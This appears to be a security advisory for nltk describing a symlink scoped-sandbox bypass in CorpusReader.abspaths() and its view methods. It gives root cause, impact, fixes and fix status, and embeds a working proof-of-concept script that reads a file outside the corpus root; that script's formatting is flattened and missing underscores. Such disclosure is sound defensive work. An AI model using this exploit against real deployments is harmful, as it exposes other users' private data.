> affected: PyPI `nltk` `>= 3.9.4` — `CorpusReader.abspaths()`/`abspath()` and the `PlaintextCorpusReader` / `SyntaxCorpusReader` view methods > dynamically reproduced: `nltk` `3.9.4` (8/9, scoped-escape checks), `3.10.3` (wheel, 9/9 checks) and `master` `6818767b9` (9/9 checks) --- Source references (`file:line`) are to commit `303f6e2b` (release tag `v3.10.3`). Line numbers in the released `nltk` wheel match this tag exactly; `master` `6818767b9` contains the same code (pathsec.py renumbered by +44 lines from added hardening comments). In `3.9.4` the same logic exists at earlier line numbers (`api.py:222-236` for `open()`, `api.py:161-203` for `abspath()`/`abspaths()`, `data.py:382-388` for the pointer open, `pathsec.py:105-114` for the scoped branch); the affected code is identical. Summary `CorpusReader.open()` (`nltk/corpus/reader/api.py:235-257`) is NLTK's hardened file-access entry point: after a lexical guard it calls `validate_path(..., required_root=self.root)` (`api.py:246-249`), and the scoped branch of `pathsec.validate_path` (`nltk/pathsec.py:168-179`) resolves symlinks and raises `ValueError` when the resolved target is not inside the corpus root. The view methods do not use this entry point: `PlaintextCorpusReader.words/sents/paras` (`nltk/corpus/reader/plaintext.py:67-118`) and `SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words` (`api.py:473-519`) build their streams from `self.abspaths(fileids, ...)` (`api.py:174-217`), which only does a lexical `self._root.join(fileid)` (`nltk/data.py:452-469`) and returns a `FileSystemPathPointer`. That pointer is opened via `FileSystemPathPointer.open()` → `pathsec.open(raw_path, "rb")` with `required_root` left at its default `None` (`data.py:438-447`, `nltk/pathsec.py:752,783`), so only the global allowed-roots check runs. The `O_NOFOLLOW` in `_hardened_open` (`pathsec.py:676-731`) protects only the final path component, so an intermediate-directory symlink inside the corpus root pointing at a sibling allowed root is followed by the kernel. A caller who places such a symlink (or loads an untrusted corpus containing one) can read any file that `open()` would refuse — files outside the corpus root yet inside the global NLTK data sandbox — via `PlaintextCorpusReader.words([...])` / `SyntaxCorpusReader.words([...])` (and the `abspaths()`-returned pointer), defeating the scoped escape protection that GHSA-p4rw-class fixes and `test_required_root_blocks_symlink_escape` were added for. Details Root cause: two sibling file-access channels on the same `CorpusReader` disagree about the scoped sandbox. 1. `CorpusReader.open()` (`api.py:235-257`) — the guarded channel: - Layer 1 lexical guard (`api.py:240-242`) rejects absolute paths and `..`. - Layer 2 scoped guard (`api.py:246-249`) calls `pathsec.validate_path(path, context="CorpusReader", required_root=self._root)`. - The `required_root` branch (`pathsec.py:168-179`) resolves the target with `Path(raw).resolve()` and raises `ValueError` when `target.is_relative_to(scoped_root)` is false. 2. The view-method channel — `abspaths()` → `FileSystemPathPointer` → `pathsec.open(required_root=None)`: - `CorpusReader.abspath()` (`api.py:174-183`) and `abspaths()` (`api.py:185-217`) return `self._root.join(f)` with no `validate_path` call. - `FileSystemPathPointer.join()` (`data.py:452-469`) only normalizes lexically (`normpath` + root-prefix `startswith`); it never calls `os.path.realpath`/`Path.resolve`, so the intermediate symlink is preserved verbatim. - `FileSystemPathPointer.open()` (`data.py:438-447`) calls `_secure_open(self._path, "rb")` (aliased from `pathsec.open`) with no `required_root`, so `pathsec.open` (`pathsec.py:752`) uses its default `required_root=None` and `validate_path` (`pathsec.py:783`) runs only the global allowed-roots check (`pathsec.py:181-207`). - Under `ENFORCE=True` + POSIX, `_hardened_open` (`pathsec.py:676-731`) opens with `O_NOFOLLOW` (`pathsec.py:705`) — but that flag only refuses a symlink in the final component; an intermediate directory symlink (`corpus/sub -> <other allowed root>`) is followed by the kernel. The post-open fd realpath re-validation (`pathsec.py:728-731`) again uses `required_root=None`, and since the target is inside an allowed root it passes. 3. The view methods hand the unguarded pointers straight to the stream views: - `PlaintextCorpusReader.words/sents/paras` (`plaintext.py:67-118`, abspaths at `76/96/116`) and `chapters` (`plaintext.py:230`). - `SyntaxCorpusReader.parsed_sents/tagged_sents/sents/tagged_words/words` (`api.py:473-519`, abspaths at `478/489/498/509/517`). - `StreamBackedCorpusView._open()` (`nltk/corpus/reader/util.py:203-216`) calls `self._fileid.open(self._encoding)` on the `PathPointer` (`util.py:210`), landing in the `required_root=None` path above. Net effect (observed): the identical fileid `"sub/secret.txt"` is rejected by `reader.open()` with `ValueError: Security Violation [CorpusReader]: Path ... escapes root ...` but successfully read by `reader.words(["sub/secret.txt"])`, returning the out-of-root file's content. The `abspaths()`/view-method bypass contradicts the contract stated in `open()`'s docstring (`api.py:238`, "Security patched: prevents path traversal and scoped escapes") and the class-level promise that every fileid stays within the corpus root (`api.py:26-30`). Existing regression tests cover only the `open()`/`validate_path(required_root=...)` path (`test_corpus_reader.py:31`, `test_corpus_reader_pathsec.py:39-49`), not the view-method channel. PoC A self-contained, self-checking repro script is embedded at the end of this advisory. It builds a private temp sandbox as an allowed NLTK data root, creates corpus root `R`, sibling `bar` (inside the same allowed root), file `bar/secret.txt` = `TOPSECRET`, and an intermediate directory symlink `R/sub -> bar`. It then asserts the control (same fileid through `open()` is refused) and the attack (`abspaths()` pointer, `PlaintextCorpusReader.words`, `SyntaxCorpusReader.words/sents` read the secret), plus a boundary check that a symlink pointing outside every allowed root is still refused. Scope note: dynamically run on (1) the released `nltk 3.9.4` wheel, (2) the released `nltk 3.10.3` wheel, and (3) `master` `6818767b9` (v3.10.3-15-g6818767b9). The scoped-escape checks pass on all three; the "global sandbox still blocks outside-allowed-root read" boundary check passes on 3.10.3 and `master`, and is *expected to differ* on 3.9.4: 3.9.4 ships `pathsec.ENFORCE = False` (enforcement became the default only in 3.10.0) and its `pathsec.open` is a thin `builtins.open` wrapper with no `_hardened_open`/`O_NOFOLLOW`, so on 3.9.4 the sandbox does not confine reads to the allowed roots at all — the escape is *broader* there, not narrower. The `required_root` scoped guard (`1b0e519e2`, "Implement scoped root validation in pathsec sentinel") is present in `3.9.4` and every later release (`v3.10.0`/`3.10.1`/`3.10.2`/`3.10.3` confirmed by tag inspection), and static comparison shows the identical `abspaths()`/view-method code path in all of them; `3.9.4` and `3.10.3` were the versions dynamically run. Environment / steps (Python 3.10.12, Linux, `pathsec.ENFORCE=True`, POSIX): 1. `SANDBOX=$(mktemp -d)`; `nltk.data.path.append(SANDBOX)` — the private dir becomes an allowed NLTK data root. 2. `R=$SANDBOX/corpora/mysample`, `BAR=$SANDBOX/bar`; write `BAR/secret.txt` = `TOPSECRET`. 3. `ln -s "$BAR" "$R/sub"` — intermediate directory symlink inside the corpus root. 4. Control: `reader.open("sub/secret.txt")` → `ValueError: Security Violation [CorpusReader]: Path <BAR>/secret.txt escapes root <R>` (refused). 5. Attack: `reader.abspaths(["sub/secret.txt"])[0].open().read()` → `b'TOPSECRET\n'`; `list(reader.words(["sub/secret.txt"]))` → `['TOPSECRET']`; same for `BracketParseCorpusReader.words/sents`. 6. Boundary: `R/out -> /etc` (outside every allowed root) is refused with `PermissionError: Security Violation [pathsec.open]: Unauthorized path ...`. Live transcript, key output (identical on `nltk 3.9.4`, `3.10.3` and `master @ 6818767b9` unless noted): ``` nltk version: 3.9.4/3.10.3 python: 3.10.12 (posix) CONTROL open() rejects symlink escape ValueError: ... escapes root ... abspaths() pointer.open() reads outside root b'TOPSECRET\n' PlaintextCorpusReader.words() leaks outside root ['TOPSECRET'] SyntaxCorpusReader.words() leaks outside root ['TOPSECRET'] GLOBAL sandbox still blocks outside-allowed-root read PermissionError: ... Unauthorized path ... (3.10.3+ only; on 3.9.4 the sandbox is not enforced and the read succeeds) RESULT: 3.9.4: 8/9 · 3.10.3: 9/9 · master: 9/9 (all scoped-escape checks pass) ``` The scoped-escape checks (the vulnerability itself) pass on all three pinned versions; the single 3.9.4 difference is the global-sandbox boundary check, which is weaker there by design (`ENFORCE=False`, thin `pathsec.open`). Impact - Type: CWE-59 improper link resolution before file access (with CWE-22 traversal flavor). A local principal who can place an intermediate-directory symlink inside an NLTK corpus root — e.g. a user with any account that loads NLTK corpora, or the supplier of an untrusted corpus in a supply-chain/web-service loading model — can read the *contents* of any file that lies inside a global NLTK allowed root but outside the corpus root. - Who is impacted: any deployment where a trusted application loads NLTK corpus data that is or contains attacker-influenced directory symlinks: shared/multi-tenant pipelines, notebooks, services that extract downloaded corpora (via `tar`/`git`/app logic) into `~/nltk_data`/`nltk.data.path` roots, and CI systems. The scoped guard was added specifically so that "corpus root + in-root symlink" cannot read outside the root even when the target stays inside the global sandbox. - Attacker requirements: a directory symlink must *physically exist* inside a corpus root on the target machine, pointing at another NLTK allowed root; the fileids passed to a view method must traverse it (`fileids` is caller-controlled on every affected view method). The attacker therefore needs local filesystem influence to place the symlink — direct write access to the data root, or supply of an untrusted corpus that is unpacked in a symlink-preserving way (manual `tar` extraction, `git` checkout, shared/multi-tenant data directory, or app-specific unpacking logic). Note that NLTK's own `downloader` only handles `.zip`, and Python `zipfile` extraction does not preserve symlinks (a symlink member is written as a plain file), so a bare "upload a zip" delivery does not by itself place the symlink. This is why the vector is scored `AV:L/PR:L` rather than `AV:N/PR:N`: the read is a local file access and the triggering symlink must already be on the local filesystem. In deployments where a symlink-preserving remote corpus feed feeds the data directory automatically, an attacker could achieve the same effect with no local account; that scenario is covered here under "who is impacted" rather than as a stronger default score. - Effect: cross-corpus / cross-data disclosure of file contents within the global NLTK data sandbox (e.g. reading one corpus through another, or reading private data staged under an allowed root). The global sandbox still confines reads to allowed roots; this does not reach `/etc/passwd` or arbitrary paths outside the sandbox. Suggested fix: make the scoped check the single shared behavior of the corpus file-access surface instead of an `open()`-only special case: 1. In `CorpusReader.abspath()`/`abspaths()` (`api.py:174-217`), run `pathsec.validate_path(self._root.join(f), context="CorpusReader", required_root=self._root)` for every `f` before returning the pointer — this is the same Layer-2 check `open()` performs at `api.py:246-249`, so both channels reject a symlink-resolved escape identically. 2. Alternatively (or additionally), thread `required_root` through the pointer: have `CorpusReader` attach its root to the `FileSystemPathPointer` (or have `StreamBackedCorpusView._open()` in `util.py:203-216` pass a scoped root), so `pathsec.open`/`_hardened_open` validate the opened fd's realpath against the corpus root — closing the same gap for any future caller that opens pointers. 3. Add regression coverage mirroring `test_required_root_blocks_symlink_escape` for the view-method channel: a corpus root inside a global allowed root, an intermediate directory symlink to an out-of-root sibling, explicit `fileids=["sub/secret.txt"]`, and an assertion that `reader.words(fileids=[...])` (and `sents`/`abspaths().open()`) raise `ValueError`/`PermissionError` exactly as `reader.open(...)` does. --- Reproduction script (self-contained) ```bash Self-checking, control-grouped reproduction script embedded in this advisory. Usage: python3 - <<'EOF' ... EOF (requires: pip install nltk) A private temp sandbox is created at runtime and registered via nltk.data.path. !/usr/bin/env python3 """Self-checking reproduction of CorpusReader view-method scoped-sandbox bypass. The affected surfaces are: - CorpusReader.abspaths()/abspath() return a FileSystemPathPointer without the required_root scoped check that CorpusReader.open() applies (api.py:235-257); PlaintextCorpusReader view methods open those pointers directly. - SyntaxCorpusReader view methods (words/sents/parsed_sents/tagged_words/ tagged_sents) also open via abspaths() without the scoped check. Control group: the SAME fileid through reader.open() is rejected by the Layer-2 scoped guard (validate_path(..., required_root=self._root)). Environment: base sandbox dir is a private temp dir appended to nltk.data.path (the attacker-controlled corpus root lives inside an allowed NLTK data root). """ import os import shutil import sys import tempfile import nltk import nltk.data PASS = 0 FAIL = 0 def check(name, cond, detail=""): global PASS, FAIL if cond: PASS += 1 print(f"PASS {name} {detail}") else: FAIL += 1 print(f"FAIL {name} {detail}") def main(): print(f"nltk version: {nltk.version} python: {sys.version.split()[0]}") import nltk.pathsec as ps print(f"pathsec.ENFORCE = {ps.ENFORCE} posix = {os.name == 'posix'}") base = tempfile.mkdtemp(prefix="nltk_sandbox") os.chmod(base, 0o700) nltk.data.path.append(base) # make the private sandbox an allowed NLTK data root rootA = os.path.join(base, "corpora", "mysample") # corpus root R rootB = os.path.join(base, "bar") # sibling, inside allowed root os.makedirs(rootA) os.makedirs(rootB) secret = "TOPSECRET" with open(os.path.join(rootB, "secret.txt"), "w") as f: f.write(secret + "\n") # Bracket-parse file is read as sexpr blocks by BracketParseCorpusReader with open(os.path.join(rootB, "bracket.txt"), "w") as f: f.write("(S (NP TOPSECRET))\n") # Intermediate-directory symlink inside the corpus root -> sibling outside R linkdir = os.path.join(rootA, "sub") os.symlink(rootB, linkdir) check("sandbox is an allowed root", base in {str(p) for p in ps._get_allowed_roots()}) check("symlink created", os.path.islink(linkdir)) # ---------------------------------------------------------------- control from nltk.corpus.reader.plaintext import PlaintextCorpusReader reader = PlaintextCorpusReader(rootA, r".") try: reader.open("sub/secret.txt") check("CONTROL open() rejects symlink escape", False, "no exception raised") except ValueError as e: check("CONTROL open() rejects symlink escape", True, f"ValueError: {str(e)[:60]}") except PermissionError as e: check("CONTROL open() rejects symlink escape", True, f"PermissionError: {str(e)[:60]}") except Exception as e: check("CONTROL open() rejects symlink escape", True, f"{type(e).name}: {str(e)[:60]}") # ------------------------------------------------- abspaths() pointer ptr = reader.abspaths(["sub/secret.txt"])[0] try: content = ptr.open().read() check("abspaths() pointer.open() reads outside root", content == (secret + "\n").encode(), f"got {content!r}") except Exception as e: check("abspaths() pointer.open() reads outside root", False, f"{type(e).name}: {str(e)[:60]}") # ------------------------------------------------- PlaintextReader.words() try: words = list(reader.words(["sub/secret.txt"])) check("PlaintextCorpusReader.words() leaks outside root", any(secret in w for w in words), f"words={words}") except Exception as e: check("PlaintextCorpusReader.words() leaks outside root", False, f"{type(e).name}: {str(e)[:60]}") # ------------------------------------------------------------ syntax views from nltk.corpus.reader.bracket_parse import BracketParseCorpusReader brow = BracketParseCorpusReader(rootA, r".") try: # control on the syntax reader open() brow.open("sub/bracket.txt") check("CONTROL syntax reader open() rejects symlink escape", False, "no exception raised") except Exception as e: check("CONTROL syntax reader open() rejects symlink escape", True, f"{type(e).name}: {str(e)[:60]}") try: sent = list(brow.words(["sub/bracket.txt"])) check("SyntaxCorpusReader.words() leaks outside root", any(secret in w for w in sent), f"words={sent}") except Exception as e: check("SyntaxCorpusReader.words() leaks outside root", False, f"{type(e).name}: {str(e)[:60]}") try: sents = list(brow.sents(["sub/bracket.txt"])) check("SyntaxCorpusReader.sents() leaks outside root", any(secret in w for w in sents), f"sents={sents}") except Exception as e: check("SyntaxCorpusReader.sents() leaks outside root", False, f"{type(e).name}: {str(e)[:60]}") # ----------------------------------------------------------- global-sandbox boundary # The escape is bounded: a file OUTSIDE every allowed root must still be refused. outside = os.path.join(base, "..", "etc") os.makedirs(outside, exist_ok=True) outfile = os.path.join(outside, "secret.txt") with open(outfile, "w") as f: f.write("OUTSIDE\n") # point a second symlink inside rootA to a directory outside all allowed roots linkout = os.path.join(rootA, "out") os.symlink(outside, linkout) try: got = reader.abspaths(["out/secret.txt"])[0].open().read() check("GLOBAL sandbox still blocks outside-allowed-root read", False, f"leaked {got!r}") except Exception as e: check("GLOBAL sandbox still blocks outside-allowed-root read", True, f"{type(e).name}: {str(e)[:60]}") print(f"\nRESULT: {PASS} passed, {FAIL} failed") shutil.rmtree(base, ignore_errors=True) return 0 if FAIL == 0 else 1 if name == "main": sys.exit(main()) ``` Fix status (2026-09-28) Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix). PR: #3761 "Contain CorpusReader / agreement / chat80 file I/O in the pathsec sandbox", merged 2026-08-17, merge commit cd4953f7b on develop. Fix commit: 9f7cf06b4 (the corpus-reader path pointers and view methods resolve and validate against the reader's root, so an intermediate directory symlink that leaves the root is refused). Probe: none. The advisory PoC re-run (a corpus root R with R/sub pointing at a sibling directory inside the same data root, then abspaths()[0].open(), words() and open() on sub/secret.txt): on develop 2fa3f48fe all three are refused with ValueError (security violation, path escapes root); on v3.10.3 and on 6818767b9 abspaths().open() and words() return the secret while open() is refused, which matches the advisory. A bisect of develop between 6818767b9 and 2fa3f48fe with that reproduction names 9f7cf06b4 as the first fixed commit. Release: none yet; no release tag contains 9f7cf06b4.